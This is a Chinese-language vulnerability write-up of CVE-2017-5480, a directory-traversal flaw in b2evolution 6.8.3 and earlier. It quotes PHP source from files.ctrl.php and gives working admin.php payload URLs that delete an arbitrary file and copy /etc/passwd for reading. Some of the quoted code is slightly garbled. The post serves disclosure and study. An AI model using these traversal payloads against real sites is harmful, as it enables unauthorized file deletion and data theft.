CVE-2017-5480,b2evolution小于或等于存在6.8.3版本存在目录遍历漏洞导致删除、读取任意文件。
程序下载地址:6.8.3-stable
具有后台访问权限的用户管理文件时,发出请求URL(以dave请求自己头像为例):
http://127.0.0.1/b2evolution/admin.php?ctrl=files&root=user_4&action=file_copy&fm_selected[]=dave.jpg&fm_sources_root=user_4
函数admin.php中部分源码:
require $inc_path.$ctrl_mappings[$ctrl];
请求文件为:/b2evolution/inc/files/files.ctrl.php
文件files.ctrl.php的部分源码
if( ($edited_User = & $UserCache->get_by_ID( $user_ID, false )) === false )
{ // We could not find the contact to link:
$Messages->add( sprintf( T_('Requested «%s» object does not exist any longer.'), T_('User') ), 'error' );
unset( $edited_User );
forget_param( 'user_ID' );
unset( $user_ID );
}
可知至少需要具有文件编辑(editer)权限的用户才能成功利用
if( $confirmed )
{ // Delete files, It is possible only file has no links:
$selected_Filelist->load_meta();
while( $l_File = & $selected_Filelist->get_next() )
{
// Check if there are delete restrictions on this file:
$restriction_Messages = $l_File->check_relations( 'delete_restrictions', array(), true );
if( $restriction_Messages->count() )
{ // There are restrictions:
$Messages->add_to_group( $l_File->get_prefixed_name().': '.T_('cannot be deleted because of the following relations')
.$restriction_Messages->display( NULL, NULL, false, false ), 'warning', T_('Deleting files...') );
// Skip this file
continue;
}
if( $l_File->unlink() )
{
$Messages->add_to_group( sprintf( ( $l_File->is_dir() ? T_('The directory «%s» has been deleted.')
: T_('The file «%s» has been deleted.') ), $l_File->dget('name') ), 'success', T_('Deleting files...') );
$fm_Filelist->remove( $l_File );
}
else
{
$Messages->add_to_group( sprintf( ( $l_File->is_dir() ? T_('Could not delete the directory «%s» (not empty?).')
: T_('Could not delete the file «%s».') ), $l_File->dget('name') ), 'error', T_('Deleting files...') );
}
}
$action = 'list';
$redirect_to = param( 'redirect_to', 'url', NULL );
// Redirect so that a reload doesn't write to the DB twice:
header_redirect( empty( $redirect_to ) ? regenerate_url( '', '', '', '&' ) : $redirect_to, 303 ); // Will EXIT
// We have EXITed already at this point!!
}
else
{
// make sure we have loaded metas for all files in selection!
$selected_Filelist->load_meta();
$index = 0;
// Check if there are delete restrictions on the files:
while( $l_File = & $selected_Filelist->get_next() )
{
// Check if there are delete restrictions on this file:
$restriction_Messages = $l_File->check_relations( 'delete_restrictions', array(), true );
if( $restriction_Messages->count() )
{ // There are restrictions:
$Messages->add( $l_File->get_prefixed_name().': '.T_('cannot be deleted because of the following relations')
.$restriction_Messages->display( NULL, NULL, false, false ) );
// remove it from the list of selected files (that will be offered to delete):
$selected_Filelist->remove( $l_File );
unset( $fm_selected[$index] );
}
$index++;
}
if( ! $selected_Filelist->count() )
{ // no files left in list, cancel action
$action = 'list';
// Redirect so that a reload doesn't write to the DB twice:
header_redirect( regenerate_url( '', '', '', '&' ), 303 ); // Will EXIT
// We have EXITed already at this point!!
}
}
break;
任意文件删除漏洞代码利用Payload:
http://127.0.0.1/b2evolution/admin.php?blog=6&ctrl=files&root=collection_6&fm_hide_dirtree=-1&action=delete&fm_selected[]=../../../../../../.././../../../../../../../../../../../../../../../../../../../../../../../../test.txt&crumb_file=FXTab96veYnFmNDbfHfVJ3BxCHq7NNs1
case 'copy':
……
$allow_locked_filetypes = $current_User->check_perm( 'files', 'all' );
……
// Copy file
$old_path = $loop_src_File->get_rdfp_rel_path();
$new_path = $selected_Filelist->get_rds_list_path().$new_names[$loop_src_File->get_md5_ID()];
if( $old_path == $new_path && $loop_src_File->_FileRoot->ID == $selected_Filelist->_FileRoot->ID )
{ // File path has not changed...
$Messages->add_to_group( sprintf( T_('«%s» has not been copied'), $old_path ), 'note', T_('Copying files:') );
continue;
}
// Get a pointer on dest file
$dest_File = & $FileCache->get_by_root_and_path( $selected_Filelist->get_root_type(), $selected_Filelist->get_root_ID(), $new_path );
// Perform copy:
if( ! $loop_src_File->copy_to( $dest_File ) )
{ // failed
$Messages->add_to_group( sprintf( T_('«%s» could not be copied to «%s»'), $old_path, $new_path ), 'error''Copying files:') );
continue;
}
$success_message = sprintf( T_('«%s» has been successfully copied to «%s»'), $old_path, $new_path );
$success_title = T_('Copying files:');
break;
任意文件读取漏洞代码利用Payload:
http://127.0.0.1/b2evolution/admin.php?blog=6&ctrl=files&root=collection_6&fm_hide_dirtree=-1&action=file_copy&fm_selected[]=../../../../../../../../../../../../../../../../../../etc/passwd&fm_sources_root=collection_6
files.ctrl.php中重命名时文件扩展名限制代码:
if( $check_error = check_rename( $new_names[$loop_src_File->get_md5_ID()], $loop_src_File->is_dir(), $loop_src_File->get_dir()allow_locked_filetypes ) )
{
$confirmed = 0;
param_error( 'new_names['.$loop_src_File->get_md5_ID().']', $check_error );
continue;
}
从源码由于文件扩展名限制,修改copy的文件名为*.txt才能copy成功任意文件,从而读取内容。
Tips:
黑盒测试+代码审计,最终成功提交第一个CVE漏洞,来张图记录一下过程